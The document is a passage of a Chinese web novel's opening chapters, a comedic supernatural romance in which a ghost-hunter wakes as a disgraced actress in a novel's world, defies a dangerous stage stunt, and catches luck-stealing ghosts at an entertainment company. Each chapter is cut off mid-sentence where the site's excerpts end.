《当一个女明星会抓鬼[穿书]》 1. 无脑女配谁爱当谁当 《当一个女明星会抓鬼[穿书]》全本免费阅读 左轻白睁眼的时候,发现自己在酒店的豪华套房里。 左轻白有些懵逼,自己难道不是在追一个水鬼吗?刚把水鬼收进符里,就因踩了岸边的青苔脚底打滑,跌进水里。 左轻白摸了摸自己的衣服,居然是干的? 等一下,这衣服怎么这么……清凉? 左轻白低头一看,我靠,自己怎么穿着情趣吊带睡衣? 左轻白从床上坐起来,她发现,床边的沙发上还坐着一个男人。 见到这个男人的第一眼,左轻白的脑袋就爆炸了。 太帅了! 左轻白捂住嘴,堵住差点从喉咙里发出来的尖叫。 剑眉,凤眼,薄唇,鼻梁高挺,三分英气,七分贵气,比明星还好看。 男人穿着西装套装,他把外套脱了,放在另一个空着的沙发上。男人左腿搭载右腿上,以一种上位者的姿态坐在沙发上,似笑非笑地看着左轻白。 “左小姐。”男人开口道,他的声音低醇,像葡萄酒一样,“用这种低贱手段换取复出的机会,是不是太不要脸了一点?” “说谁不要脸?”左轻白站在床上,指着男人骂。 作为金牌捉鬼师,左轻白接过无数单生意,没有一单让雇主失望,她名声好着呢,这狗男人竟然说她不要脸? 左轻白忽然想起来,自己好像还不知道对面这只帅狗叫什么名字。 “你谁啊你?”左轻白问。 男人低低笑了起来,“左小姐,你欺负绮月,被我封杀。你想复出,所以想了这个馊主意,把我灌醉,跟我睡一夜。” 左轻白的眼睛瞪得跟铜铃一样大,“绮月?金绮月?” “不然呢?”男人冷笑。男人道:“且不说我千杯不醉,就算你真的跟我睡了,我也不可能让你这种品行低劣的人复出,你死了这条心吧。” “你你你……”左轻白无比震惊,“你的名字是不是叫……路回?” “你在装什么傻?”男人眉头微皱,说:“你还能不知道我叫路回?” 左轻白当即倒了下去,整个人呈“大”字状躺在床上。 完了,穿书这种匪夷所思的事情,最终还是发生到了自己身上。 路回、金绮月是左轻白追的一本娱乐圈小说《登顶娱乐圈女王》的男女主,讲述的是非科班出身的金绮月从选秀练习生一路逆袭到三金影后的大女主爽文故事。路回是娱乐公司的老板,富三代,人称京城路少,虽然不是明星但长得比明星还帅,同时他也是书中金绮月的cp,金绮月一路逆袭少不了他的保驾护航。 在小说的前半部分有一个无脑炮灰女配,叫左轻白,当时左轻白看书的时候就很无语这个炮灰女配居然跟自己同名同姓。书里的左轻白是一名二三线女演员,正儿八经表演学院毕业的,金绮月选秀成功后被公司送到剧组安排了个女三号的角色,饰演女二号的左轻白看不起金绮月,她觉得金绮月非科班出身又是第一次演戏,凭什么一上来就演女三号?所以在剧组各种欺负金绮月,例如在金绮月的道具上动手脚。这事被护花使者路回知道了,迅速换了左轻白的角,这还不够,他还封杀了左轻白。 书中的左轻白为求复出,在某慈善晚宴上灌醉路回,想跟他睡一觉,以为只要跟路回有了点什么,路回就会放过她,没想到路回根本没中套,路回故意装醉,跟左轻白来到套房,然后看着左轻白出丑! 左轻白回忆完剧情,在床上翻滚,一边滚一边发出“啊啊啊”的叫声。 啊啊啊穿书这样的事情怎么会发生在自己身上?发生就算了为什么穿的还是一本大女主爽文的女配?要知道大女主世界的一切都是为女主服务的,在这个世界当女配很惨的! 路回不知道左轻白发什么疯。他慢条斯理地拿起自己西装外套,准备离开套房。 “等一下!”左轻白突然叫住路回,以迅雷不及掩耳的速度“嗖”地窜到路回跟前。 “还有什么花招,左小姐?”路回嘴角勾着冷笑,问左轻白。 左轻白一脸严肃,指着路回的印堂,说:“先生,你印堂发黑,鬼气缠身,这几天家里有什么异样吗?” 左轻白没开玩笑。作为一名金牌捉鬼师,左轻白能捕捉到哪怕是很微弱的鬼气,刚才路回坐在沙发上的时候她就注意到了,路回身上有鬼气。 路回脸一黑,说:“你这招是睡不成我就诅咒我?” “我现在跟你说什么估计你都不信。”左轻白叹气道。 左轻白一向秉承救人一命胜造七级浮屠的原则,她的目光在周围扫了一圈,看到桌上放着一只笔,左轻白拿起笔,抓起路回的左手,在他手掌上画符。 “你在乱画什么?”路回怒道。 左轻白三两下把符画完,路回的手掌上全是黑色的笔迹,乱七八糟,很难看。 左轻白伸出大拇指在路回的手掌上摁了一下,像签约摁手印那样。她摁了一下之后,突然神奇的事情发生了,那些乱七八糟的黑色笔迹突然变成了金色,发出金光,金光亮了一秒后逐渐暗淡下去,最后金光消失不见,就连黑色笔迹也消失不见了,路回的手掌干干净净。 路回脸上露出诧异的表情。 左轻白拍拍手,说:“好了,你可以走了,有事及时找我。以你的本事,应该能随时找到我。” 路回走到门口,突然,他在门口停下。 左轻白看向他。左轻白以为路回相信了她的话,便站那等着路回开口求她。 然而路回只是上下扫了扫左轻白,轻飘飘地开口道:“身材不错。不过,还是穿件衣服吧。” “你……”左轻白下意识捂胸。 路回离开套房,没影了。 左轻白一边穿衣服一边骂书中的无脑女配让自己丢尽了脸。 “我才不当无脑女配,无脑女配谁爱当谁当。”左轻白嘴里嘀咕道。 穿好衣服后,左轻白假装什么事也没有发生,施施然走出了套房。 这件事是在一个顶级五星酒店发生的,这家酒店的宴会厅正在举行一场慈善晚宴,慈善晚宴是路家举办的,邀请了不少时尚圈、娱乐圈的人参与。 左轻白镇定自若地回到慈善晚宴,她回来的原因很简单,她饿了,得找个地儿吃饭。左轻白随便找了个空座,一落座就埋头干饭。 这 2. 你们问过我的意愿了吗 《当一个女明星会抓鬼[穿书]》全本免费阅读 金绮月的瞳仁很黑、很大,仿佛天生戴了美瞳,因为颜色太黑的缘故,虽美但诡异。左轻白被她盯着看了半晌,有种被摄了魂魄的感觉。 左轻白深吸一口气,露出笑容,说:“好啊。” 说完,她以奔赴战场的架势上了台。 金绮月亲呢地牵起了左轻白的手,金绮月身材娇小,就连手也比左轻白的手小一号。 后台有人向主持人使了个眼色,主持人会意,冲左轻白笑道:“轻白,凡是上台的人,都要表演节目哦。” 金绮月拉着左轻白的手,眨着洋娃娃似的大眼睛对左轻白说:“轻白姐姐,咱们表演节目是为了帮山区儿童募捐善款。” 左轻白心想,好家伙,你们这一唱一和,感情我不表演就是没有善心不为山区儿童着想咯?道德绑架? 有人抬了一架钢琴上台,并从天花板上放下一截绳子,绳子正对钢琴上方。 主持人笑着说:“听说轻白钢琴弹得很好,那就请轻白为大家弹奏一曲好不好?” 台下的人起哄道:“好!” 主持人又道:“不过,坐着弹琴的太多了,今天我们玩个不一样的,我们请轻白倒着为我们弹,好不好!” 台下的人起哄得更大声了:“好!” 主持人指着吊在钢琴上方的绳索说:“接下来,我们会用这跟绳索把轻白的腿绑住,轻白腿朝上、头朝下倒挂在这跟绳索上,同时她将奏响这架钢琴。欢迎轻白为我们表演!” 台下的人起哄得超大声。 主持人故作体贴地问左轻白:“轻白需要换件衣服吗?因为你穿着裙子,可能换条裤子会好一些。” 左轻白冷着一张脸。 左轻白回忆原著剧情,书中确实有这么一段。书里的左轻白套路路回不成,回到宴会上时遇到大家起哄让她表演,左轻白以为这是个好机会,只要自己全力以赴,通过倒挂弹钢琴的表演惊艳众人,表演出了圈,明天上了头条,赚足曝光率,也是一个翻身的机会。 书中的左轻白接受了表演,没想到表演到一半的时候,绳索突然断了,左轻白头朝下砸到钢琴上,血溅舞台,当场被送往医院,后来好像是因为伤了颅脑,患了很严重的后遗症,经常头晕头痛,并伴有间歇性癫痫,下半辈子无法再从事演员的工作,下场挺惨的。 这时有两个男性工作人员走上台拉左轻白,想带她去后台换裤子。两个男性工作人员很强势,他们根本没有询问左轻白意愿的意思,几乎是硬扯着左轻白走。 所有人都在起哄,每个人脸上都洋溢着看热闹的笑容,他们是开心了,可没有一个人问过左轻白的意愿,问问她愿不愿意表演,因为所有人都默认了左轻白肯定不会拒绝,毕竟在这个圈子里,在这种场合说“不”,是要被骂“情商低”和“矫情”的。 左轻白用力一甩,甩开了那两个男性工作人员。左轻白力气很大,她下山之前跟同门师兄妹一起习过武。 左轻白大步走到主持人身旁,从主持人手中抢过话筒,对着话筒大声说:“起什么哄啊?你们问过我愿不愿意了吗?” 左轻白不按常理出牌,全场安静了两秒,随之而来的是窃窃私语,大家都在说左轻白扫兴。 台上一度十分尴尬。 左轻白抓住主持人的手臂,拿着话筒质问她:“你为什么不问我的意愿就把我安排了?我允许你安排我了吗?” 主持人面露尴尬。 左轻白拉着主持人来到那架钢琴前,指着钢琴上吊着的绳索,质问:“有没有想过绳子断了怎么办?你们做安全措施了吗?现场有救护人员吗?” “这……”主持人支支吾吾无法回答。 “什么也没有是吧?”左轻白叉着腰,掷地有声的怒斥道:“那你们这就是谋杀!” “话不能这么说……” 主持人试图救场,却被左轻白打断。 “路回呢!路回!”左轻白拿着话筒大声喊路回的名字。 所有人倒吸一口凉气。这场慈善晚宴是路家举办的,路家是金主,路回是路家少爷,路回也是金主,一个小演员敢大呼金主的名字,道反天罡! 左轻白在第一排最中间的位置找到了路回。左轻白跳下台,径直走到路回跟前,拿着话筒质问他:“你是这场晚宴的主办方,这种草菅人命的游戏环节,是你安排的?”左轻白看了一眼台上的金绮月,冷道:“就算是为了护花,也不该拿人命当儿戏吧?” 左轻白认定倒挂弹钢琴的闹剧是路回为了给金绮月出气安排的,她在为书中那个左轻白鸣不平。 虽然确实是书中那个左轻白欺负金绮月在先,但书中那个左轻白没有算计过金绮月的性命,哪怕是在道具上动手脚,也只是在金绮月用的道具血浆里加苦瓜汁,导致金绮月把血浆含在嘴里时一股苦味,虽然很欠,但不致命。而路回安排的倒挂弹钢琴却直接导致书中的左轻白进了急诊室,虽然最后人救回来了,但落了一身后遗症,下半辈子全毁了。 路回说:“这游戏不是我安排的。”他看向台上的工作人员,冷道:“把绳子和钢琴都撤了。” 工作人员照做。 路回对工作人员说:“慈善晚宴是大家表达爱心的地方,以后都不要安排这么恶趣味的游戏。” 他没有刻意责备谁,但话说出来自有一股不怒自威的气场,工作人员满头大汗,连连附和。 嘱咐完,路回转头对左轻白道:“左小姐,作为主办方,我就今天的事情向你道歉。但是……如果我没有记错的话,你应该不在今天的受邀嘉宾之列吧?” 路回说着,露出似有似无的轻笑。左轻白捉摸不透他的情绪,只知道他帅得惨绝人寰。 左轻白挠了挠眉毛。 左轻白故作镇定道:“首先我接受你的道歉,另外我也为我今天的不请自来向你道歉。” 左轻白逃似的往宴会厅门口走去,一边走一边说:“那个,我先走了,你们吃好喝好玩好哈……” 路回端坐在座位上看左轻白 3. 我不封杀你了 《当一个女明星会抓鬼[穿书]》全本免费阅读 金绮月从座位上站起来,跟猫儿似的,一步步轻轻走向左轻白。 突然,金绮月的五指变成爪子,伸向正在隐身的左轻白,她的爪子散发着冷戾的黑气,爪子还没触碰到左轻白,左轻白就感到脖子被箍紧,同时仿佛有千根万根针在她皮肤上扎。 左轻白惊叫出声,隐身术被破,左轻白及时低下身子,往地上一滚,挣脱金绮月的束缚。 现了形的左轻白单膝半跪在角落里,大口喘着气,警惕地看着金绮月。 休息室的灯光有些偏黄,偏黄的灯光下,金绮月那洋娃娃一样的脸没有一点血色,她黑乎乎的瞳仁渐渐放大,大到覆盖整个眼白,一眼望过去,她的眼眶里只有黑色,没有白色。 金绮月唤道:“轻白姐姐。” 左轻白汗毛直立。 金绮月歪了歪头,对左轻白发出笑声,说:“让我看看,你是个什么东西?” 金绮月朝左轻白一抬手,一朵黑雾冲向左轻白,在左轻白的脸上散开。 “咦。”金绮月发出诧异的声音,“你居然是人?可人怎么会有这般能力?” 左轻白眼珠子一转,出声问道:“你们这里没有捉鬼师吗?” “捉鬼师是什么东西?从来没有听说过。” 左轻白恍然大悟。原来书里的这个世界没有捉鬼师,难怪书中老出现那么多连警察都破不了的悬案,看来不是作者没写清楚,而是悬案很有可能是鬼做的,而这个世界又没有捉鬼师来管这些鬼,所以只能不了了之。 就在这时,门外传来脚步声,金绮月的经纪人汪佩红推门而入。 “绮月啊……”汪佩红的声音传进左轻白的耳朵。 此刻左轻白脑子里只有一句话:就是现在!跑! 左轻白伸出左手画了个狂风符,密闭的休息室里凭空卷起一阵狂风,狂风吹乱金绮月和汪佩红的头发,迷了她俩的眼睛。 左轻白趁机夺门而出,逃了出去。 就在左轻白逃出去的那一秒,左轻白感到来自金绮月的那股鬼气追了出来,那股鬼气像鞭子一样,狠狠甩在左轻白后背,左轻白背上一痛,她知道自己受伤了。 不管怎样,先离开这里再说。左轻白慌不择路,她看到了一个上楼的楼梯,稀里糊涂地就跑上去了,她顺着楼梯跑到二楼后才觉得不对,自己走错了,酒店出口在一楼。 背上的伤很厉害,左轻白感到自己意识渐渐模糊,左轻白推开二楼的窗户,从上往下看到有一辆黑色的车停在酒店门口。 这是路回的车,路回准备回去了,虽然这个时候晚宴还没结束,但路回是金主,他提前离席别人不敢说什么。 左轻白不知道这是路回的车,她只知道这是可以带她离开的交通工具。 左轻白用尽最后一点力气给自己画了一张隐身符,隐身的她从二楼窗户纵身一跃,跃到路回的车顶上。 路回上了车,车子启动,左轻白抓牢车顶,随着路回的车一起离开。 路回回到他的别墅,司机把车开到别墅门口。 “少爷,到了。”司机说。 “嗯。”路回慢条斯理地下了车。 就在路回的脚落地的那一刹那,突然,车顶上有个什么东西滚了下来。 那玩意从车顶顺着挡风玻璃一路滚下来,最后重重地摔在地上。是左轻白,她撑到别墅就再也撑不下去了,晕了过去,晕过去的同时她的隐身符失效,所以现了形。 “这这这……”司机大惊失色,“这人一直在车顶?” 路回看清了左轻白的模样,“是她?” “啊!”突然,司机惊叫出声,“少爷,她后背好像在流血!” 路回脸色一变,“先把她搬进去,叫陈妈拿医药箱。” 左轻白被搬到客厅,趴在沙发上。 陈妈拿来医药箱,把左轻白的裙子拉链拉开,将她的后背露出来,帮她上药。 “是被什么东西伤到的?”路回问陈妈。 “不像利器伤的,像是鞭子。”陈妈说。 “鞭子?鞭子能打出血来?这打得是有多重啊?”路回诧异。 “少爷,她不会是……”陈妈欲言又止。 “陈妈,你想说什么?” “少爷,这女孩子是不是娱乐圈的?” “是。” “我那天看了部电视剧,那部剧的内容是说,有钱人喜欢在床上玩很变态的游戏,又是蒙眼又是鞭打什么的,一些娱乐圈的小姑娘为了傍金主,自愿配合他们玩那种游戏,这姑娘会不会……” 难道左轻白套路自己没成功,转头去找了别人,那人是个变态,要左轻白跟他玩S.M,左轻白为了复出同意了?路回心想。 路回虽然心里是这么想的,但嘴上却对陈妈说:“陈妈,少看那些乱七八糟的电视剧,电视剧都是夸大的,有钱人又不是都喜欢玩变态游戏,你看我什么时候玩过?” 陈妈忙赔笑道:“是,我们少爷最干净了!” 左轻白醒来的时候,发现自己正趴在一个大别墅里的沙发上,周围就只有路回一 4. 爽快的客户 《当一个女明星会抓鬼[穿书]》全本免费阅读 左轻白以为路回说的是原主灌醉他试图跟他上床的事。 “要不是你封杀我,我用得着这样?”左轻白说。 路回思索了几秒钟,问:“所以……你是真的去做那样的事了?” “你不是都看见了吗?不过,绝对不会有下一次了。”左轻白道。 左轻白说的“看见”指的是路回看见原主穿性感睡衣勾引他了;而路回理解的“看见”是左轻白身上S.M的痕迹被自己看见了。 路回叹了口气,说:“你能迷途知返,最好不过;把你逼到这份上,我也有错。” 左轻白张口就道:“哇靠单押哎!你还会说唱?” 路回眉头微皱,把手中的杂志放下,“这么严肃的事情你怎么嬉皮笑脸的?你不知道你会遇上什么人,回头把自己玩坏了怎么办?” 左轻白一边趴着一边腾出两只手来鼓掌,“哇塞,像你这么一本正经的富三代,这个地球上怕是不多见吧?” “那人是谁?”路回冷不丁问道。 路回问的是“逼”左轻白玩S.M的是谁。 “谁?”左轻白没听明白。 “你不说我也能猜到。在晚宴现场有那种癖好的,恐怕就只有那位了吧。” “说的什么乱七八糟的?”左轻白只当路回在胡言乱语。 说着,左轻白突然一阵咳嗽。 陈妈不在,路回道:“我去厨房帮你倒点水。” “你人还怪好的嘞。你真是颠覆了我对大少爷的认知。”左轻白笑道,“我要温水,谢谢大少爷!” 路回悠悠地撂下一句:“得寸进尺。” 路回确实跟别的富家少爷不太一样,他从小在国外上寄宿学校,很独立,不娇气,有自理能力,二世祖的陋习他几乎没有,也很少参加二世祖圈子的聚会,除非是不得不去,他不像个富三代,倒像个根正苗红的好青年。 路回去厨房帮左轻白倒水。 路回家的厨房非常大,比普通人家的客厅还要大。 路回帮左轻白找了个玻璃杯。 路回没有抬头,如果他抬头看天花板,就会看到有个穿红肚兜的小婴儿在厨房的天花板上爬。 小婴儿没有眼珠,眼眶是黑乎乎的两个洞。 路回倒了水,他转过身,正准备走出厨房。 突然,一声似有似无的小孩的笑声传进了路回的耳朵里。 路回第一反应是自己听错了,这房子里怎么可能有小孩?但他还是下意识地回了头。 这一回头,把路回吓得灵魂差点从头顶冒了出去。 路回看到穿着红肚兜的小婴儿像蜘蛛一样爬在天花板上,黑乎乎的眼眶里没有眼珠;它像蜘蛛一样从天花板跳到地上,四脚着地,以极快的速度爬向自己。 路回吓得“啊”的一声大叫,他慌张地后退,却被椅子腿绊倒。 就在小婴儿扑向路回脸的那一刻,路回情急之下举起左手,突然,他的左手亮起金光,左轻白在他左手上画的那些乱七八糟的线条重新呈现,并从他掌中浮了出来,变成发光的金线,以迅雷不及掩耳之势飞向小婴儿,裹住它全身,让它动弹不得。 路回这一声大叫惊动了左轻白。 左轻白不顾背上的伤,也来不及把裙子的后拉链拉好,捂着礼服裙急急忙忙跑向厨房。 左轻白看到了被金线缠住不能动弹的小婴儿,立即取出一张符纸,念了咒语后,喊了一声“收”,只见小婴儿化成一滩金沙,金沙被吸入符纸中,原本光秃秃的符纸上出现了一个用金粉画的小婴儿的简笔画。 这本来是一系列很帅的动作,但由于左轻白礼服裙的后拉链没拉上,所以随着她这一声“收”,礼服裙也跟着往下掉。 一旁的路回惊魂未定、目瞪口呆。 左轻白若无其事地把裙子提上,拉链拉好。 作为一个捉鬼师 5. 什么东西拍我肩膀 《当一个女明星会抓鬼[穿书]》全本免费阅读 左轻白忽然觉得这个大少爷好像还蛮可爱,便不自觉地笑了笑。 左轻白左手举起关着鬼奴的符纸,右手指尖燃起火苗,她用火苗去烧符纸,同时嘴里叽里呱啦不知道在说些什么。 “你说什么?”路回以为左轻白在跟自己说话,问道。 “没跟你说话。”左轻白说,“我说的是鬼奴的语言,我在审问这个鬼奴。” “捉鬼师还得会外语啊?”路回随口一问。 “当然,知识就是力量!”左轻白随口一答。 问得差不多了,左轻白熄灭指尖火苗,饶过那鬼奴。 “这个鬼奴是个软骨头。”左轻白说,“一问就招了。” 左轻白大大咧咧地坐在沙发上,刚想翘二郎腿,却发现这条礼服裙的下摆是鱼尾形的,腿翘不起来,左轻白只好老老实实坐好。 路回看出左轻白穿着礼服裙活动很不方便,嘴角不禁上扬,他问左轻白:“要不要换套运动服,舒服一点?” 左轻白疑惑道:“你家有女款运动服?” “穿我的。” “深井冰吧,你比我高一个头,你的我穿得下?我觉得你是在侮辱我。”左轻白气呼呼地说。 “我初中的运动服你应该穿得下。”路回忍不住逗她,“你就说要不要吧。” 左轻白思考了半天,最后大手一挥,说:“有点暧昧,算了。” 左轻白坐在沙发上,跟路回讲刚才她审问鬼奴的结果:“对方派鬼奴来你家,不是冲着你的性命来的,而是来偷你气运的。” “气运?” “是,你最近有没有发现自己变倒霉了,或者身体总是无缘无故不舒服?” 路回点点头,说:“有。一连几天我喝水被呛,吃饭被噎,下楼梯经常踩空,无论睡多久都觉得头晕,没有精神。” “这就是气运被偷的表现。” “可如果对方不是冲我性命来的,为什么刚才在厨房的时候鬼奴想撕我的脸?这不就是要我的命吗?” 左轻白摆摆手,摆出专业人士的姿态,“那是个意外。”左轻白说,“鬼奴本来是不想要你的命的,但鬼奴这种东西非常容易受惊,一受惊它就发疯,发起疯来的后果谁也预测不了。刚才在厨房,鬼奴想撕你的脸,就是它受了惊吓之后的发疯行为。” 路回听懂了,若有所思地点点头,“这鬼奴真的很危险。它有透露是什么……鬼派它来的吗?” 左轻白说:“鬼在人类世界中会伪装身份,鬼奴并不知道养自己的鬼伪装成了什么样的人,但我问出了一些有用的线索。第一,这些鬼奴就养在你公司,它是在公司的时候上了你的身,跟着你回家的。” 路回用手指着自己的鼻子,惊讶道:“我公司?” “对啊,你不是有一家娱乐公司吗?” “有人在我的公司养鬼奴?” “是有鬼在你的公司养鬼奴。”左轻白纠正,“我猜,这只鬼伪装成人的身份,就是你公司的某位员工。” “公司上上下下几百号人,这太危险了。”路回皱眉道,“明天我就带你去我公司查清楚。” 左轻白继续往下说:“第二,养鬼奴的地方就在你公司大楼的负一层。你那个负一层平时是用来干嘛的?” “练习室,我们公司的男女偶像在那里练跳舞。” “一整层就一个练习室?” “不是,负一层有很多练习室。” “平时有什么不正常的动静吗?” 路回想了想,非常肯定地说:“没有。” 左轻白摸了摸下巴,自信道:“没事,你明天带我去看看,我一定能看出端倪。” “尽快把鬼抓到,拜托了。”路回郑重其事地对左轻白说。 “打住打住。”左轻白赶紧做了个暂停的手势,“以最快的速度抓到鬼是我们捉鬼师的职责,但你不能催我,你一催我我就紧张,我一紧张办事效率就直线下降,OK?” 路回看着她,忽然想笑。“OK。”路回笑着回答。 左轻白借路回的客房休息了一晚。第二天早上,路回做的第一件事就是叫人去给左轻白买一套好活动的衣服。 左轻白换好衣服后上了路回的车,跟路回一起来到路回开的嘉烨娱乐传媒有限公司。 左轻白从老板的车上下来,所有员工都在假装认真工作实则贼眉鼠眼努力偷窥,关于左轻白的绯闻在左轻白踏入公司的十分钟内就传遍了整个公司。 “夭寿啦夭寿啦,咱们那个性冷淡老板居然也开始泡女明星啦!” “泡的谁啊这是?” “这不是前段时间被我们老板封杀的那个左轻白吗?怎么……” “哦!我懂了,咱们老板这是用心良苦啊!封杀她是为了让别的那些牛鬼蛇神打不了她的主意,然后再把她接到身边来,金屋藏娇。” “原来如此。” …… 左轻白一进公司就让路回带她去负一层,路回没说什么,直接带她去了。 嘉烨娱乐传媒有限公司分成影视部和艺术部,影视部有影视明星和拍摄组,艺术部主要是唱跳爱豆,负一层属于艺术部的地盘,是唱跳爱豆们练习舞蹈的地方。 负一层非常大,练习室不止一个,用透明玻璃隔成方方块 6. 口红色号艳了点 《当一个女明星会抓鬼[穿书]》全本免费阅读 左轻白回头一看,看到一个清秀的小姑娘站在自己身后,小姑娘面容姣好,巧笑盼兮,像天上的月亮,她的妆面很清新,唯独嘴上的口红色号偏艳了点,好在小姑娘底子好,hold得住。 小姑娘歪了歪头,用一双无辜的眼睛看着左轻白,对左轻白说:“姐姐,你也走不出去了吗?” 左轻白不动声色,看了看小姑娘的脚下。 小姑娘没有影子,她是鬼。 但左轻白没有立即戳破她,而是装作什么都不知道,对她说:“是呀,这里跟个迷宫一样,我走不出去了。” 作为金牌捉鬼师,左轻白一眼就看出小姑娘是鬼中的杀身鬼,这种鬼等级很低,只比鬼奴稍微高级一点而已,一般是那种死了没多久的鬼。这种低等级的鬼变化不出假影子,也没有资格养鬼奴,就连自己也要依靠其他更厉害的鬼才活得下去。 于是左轻白判断,小姑娘不是派鬼奴到路回家中的幕后黑鬼,她背后还有更厉害的鬼,左轻白得依靠她找到线索。 “我也走不出去了。”小姑娘笑盈盈地说,“姐姐,我很害怕,不如咱们结伴同行吧。” 左轻白微笑着点点头,“好呀。” 左轻白跟着小姑娘走。 左轻白没有走在小姑娘前边或身旁,而是走在小姑娘身后。 小姑娘的脚步是那种小碎步,步子小,频率高,速度快,看起来很诡异。 “姐姐,你长这么好看,你也是明星吧?”小姑娘跟左轻白闲聊。 “我是个演员。”左轻白说。 “姐姐,你红吗?” “不红。” “但凡做演员的,没有不想红的;就算是已经红了的,也没有不想长红的。”小姑娘说。 小姑娘踏着小碎步,突然冷不丁回头看左轻白,她摸了摸自己的嘴唇,笑靥如花地问左轻白:“姐姐,你看我的口红,好看吗?” “这个色号可能不太适合我。”左轻白说。 “这是尸油做成的口红,保红的。”小姑娘若无其事地说,她身上有种平静的疯感,“姐姐如果想红,我可以给姐姐弄来。” “好啊。”左轻白一口答应。 “姐姐如果想要,就跟我来。” “好,你带路。”左轻白面无表情地说。 小姑娘在前面带路,她左拐右拐,很快把左轻白带出了由透明玻璃间组成的众多练习室,把左轻白带到一条昏暗的过道里,两人一前一后在过道中走。 “你叫什么名字?”左轻白问。 小姑娘答道:“我不记得了。” “怎么死的?也不记得了?” “这个记得。我是一名唱跳练习生,但运气不好,怎么也红不起来,我不甘心,我想只要我比别人努力,就一定能红,于是我在舞蹈室里通宵达旦地练舞,白天练,晚上练,不吃饭,不休息,我坚持了好久好久,终于有一天,我死了。”小姑娘平静地说。 她的最后一句话让左轻白差点笑出声来,但转念一想人家在讲自己的死因,这个时候发笑未免太不礼貌,所以左轻白忍住了。 小姑娘继续平静地说道:“那时候我还没遇到她,不知道有尸油口红这种好东西,要是我早知道这种好东西,早点用上,我就红了。所以姐姐你是幸运的,你有我带路,可以早点用上尸油口红,你一定能红 7. 给鬼做心理疏导 《当一个女明星会抓鬼[穿书]》全本免费阅读 左轻白用缚鬼索将女鬼绑住,女鬼跪在地上,低垂着头,长长的头发像柳枝一样垂下来,遮住她的脸。 左轻白将女鬼的头发拨开。 女鬼这张皮囊长得不错,挺好看的,但仅限于普通人里的好看,当明星显然不太够;女鬼穿着职业套装,不像明星的日常打扮,倒像是写字楼里的白领。 女鬼的脖子上挂着个工牌,左轻白拿起工牌看了看,才知道她不是明星,而是嘉烨娱乐传媒有限公司的一名经纪人,叫蓝双。 蓝双看起来很虚弱,连身上那张皮都不太能撑得起来了,人皮松软,老想往下滑,左轻白在她肩膀上一戳,就立即凹下去一个窝,不像正常人那样有弹性。 “你是谁?”蓝双看着左轻白说,“你身上气运很足,我把你引入这个陷阱,本想取你气运,没想到我居然取不动。你不是普通人。” 左轻白蹲在蓝双跟前,说:“我是捉鬼师,我的气运,你当然没本事取。” “捉鬼师?”蓝双一愣,对这个称呼十分陌生。 这个世界没有捉鬼师,左轻白是这个世界第一个捉鬼师。 “派鬼奴去路回家的就是你吧?”左轻白问。 “是我。路回出身富贵,他的气运再足不过了。” “真狠啊,他可是你老板。” “哪个员工不想老板倒霉?”蓝双扯出一个笑容,讲了一个“笑话”。 蓝双的脖子不受控制地往下掉,她的头发也跟着垂下来,遮住她的脸。 左轻白伸手拨开蓝双的头发,观察她说:“你的人皮快烂了,你偷了这么多气运,连人皮都不养一养吗?” 蓝双突然抬起头来,她抬起头时,可以看见她脸颊靠近下巴的位置已经烂了一个洞。 “不要碰我的气运!任何一瓶都不要碰!我求你了!我求你了!至少……至少等到6月18号!”蓝双眼睛瞪得大大的,大到左轻白担心她的眼珠子会掉出来。 “6月18号是什么日子?你留那么多气运到6月18号有什么用?”左轻白好奇道。 “6月18号亚洲人气歌谣榜公布打榜排名,俞洛城参加了,我必须保证他是第一。”蓝双用恳求的目光看向左轻白。 “你偷那么多气运,就是为了保证俞洛城是打榜第一?” “这对他很重要。” “他都红成那样了,打榜肯定第一呀,这还用得着操心?”左轻白不解。 “不一样,一旦偷了气运,就要一直偷,不能停,否则红运马上下滑。” “俞洛城是你谁啊?” “他是我带的艺人,我是他的经纪人。” 左轻白不可思议道:“不是吧,是为了工作啊?为个破工作至于吗?” 左轻白回忆原著剧情,虽然俞洛城不是重要角色,但作者依然用一段话概括了他的事迹。俞洛城,唱跳天王,唱跳实力俱佳,实力佳没什么特别的,特别的是他成名太快了,快到离谱。当时他只是拍了一个短视频而已,就火了;七天之内他的第一个舞台面世,就爆了,大爆特爆;一个月内他发布专辑,直接晋升唱跳天王,国内一半的年轻人几乎都成了他的粉丝。最可怕的是,俞洛城不是昙花一现,半年过去了,他的热度没有一点往下降的迹象,反而越来越火。 当时左轻白看文的时候还觉得作者写得太夸张了,如今看来,如果俞洛城背后有个做鬼的经纪人一直在帮他偷气运的话,那就一点也不夸张。 小红靠实力,大红靠气运,半年内从小透明火成这样,是偷了多少气运啊? 偷气运很消耗鬼力的,半年来频繁偷气运,偷来的气运还不给自己补补,全都给别人用了,难怪蓝双这么虚弱。 左轻白抓起蓝双的一只手,果然,那只手上也开始破洞了。 蓝双眼中流露出纯真,像情窦初开的小女孩似的,她轻声说:“不是为了工作,是为了他。” 左轻白恍然大悟,“你是俞洛城的粉丝?” 左轻白看到蓝双眼中露出痴迷,忽然明白了,“不对,不止吧?你喜欢他?” “他是我的月亮,在我最艰难的时候,他的出现照亮了我。”蓝双痴痴地说。 左轻白两条手臂全是鸡皮疙瘩。 左轻白叹气道:“妹儿啊,你都当鬼了怎么还恋爱脑呢?” “没有他,我可能早就活不下去了。”蓝双眼睛里全是感情。 左轻白语重心长道:“你不就是因为没活下去才当了鬼的吗?” 蓝双的眼睛忽然黯了下来,用幽怨的语气说道:“我喜欢他,可是,我不确定他喜不喜欢我……他那样光芒万丈的人,怎么会喜欢我呢?我有什么资格让他喜欢?” 左轻白觉得蓝双的逻辑不对,“你不是他经纪人吗?他这么红也是靠你帮他的呀,没有你他哪来的光芒?你比谁都有资格。”说完,左轻白就纳闷了,她心想这个世道真癫,捉鬼师给鬼做心理疏导。 “是吗?”蓝双眼角流下一滴眼泪,“可是,他为什么总对我忽冷忽热,时好时坏,还总在我面前大发脾气?他说我长得不好看,穿衣服没有品味,做事情老做错,说我配不上他。我拼命地讨好、迎合,我那么爱他,却换不来他一张笑脸。” 蓝双越说越自卑,自卑到恨不得把自己的脸埋入地下。 蓝双露出迷茫的眼神,说:“可他又好像是爱我的。我跟别人接触的时候他会吃醋,看不到我的时候他会疯狂找我,他逼我发誓只喜欢他一个。他总是给我希望,然后又将希望撤走,让我时时刻刻处于得到与失去的惴惴不安中。” 左轻白愣了半晌才憋出这么一句话:“妹儿啊,你该不会是被PUA了吧?” 左轻白抓了抓头发,猜测道:“会不会俞洛城知道你是鬼,知道你能帮他偷气运,为了让你一直给他做事,所以他用PUA的手段来达到控制你的目的。恶意贬低、忽冷忽热,打压自信,这不就是PUA的常见手段吗?” 